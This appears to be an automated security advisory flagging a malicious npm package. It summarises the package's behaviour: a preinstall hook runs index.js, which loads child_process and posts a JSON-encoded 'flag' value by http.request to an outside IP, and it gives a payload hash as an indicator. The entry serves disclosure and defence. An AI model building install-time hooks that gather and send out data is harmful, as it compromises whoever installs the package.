GCVE-110-OSM-2026-5849

Malicious package detected. Behaviors: data exfiltration, code execution, install-time execution. Entrypoint: index.js (install-hook: node index.js) Payload: index.js Key findings: - Shell Command Execution in index.js: "require('child_process')" - System Information Exfiltration in index.js: "JSON.stringify({ flag }); const req = http.request({ hostname: '10.107.121..." - Platform Detection with Data Collection in index.js: "JSON.stringify({ flag }); const req = http.request({ hos" - Install Hook Executes Local JS File in package.json: ""preinstall": "node index.js"" - Very New NPM Publisher Account IOCs: - payloadFileHash: f0b0dff7945a1f6c048098b50aef5d8fbcdb2bf767589d143ff8cb0192286f02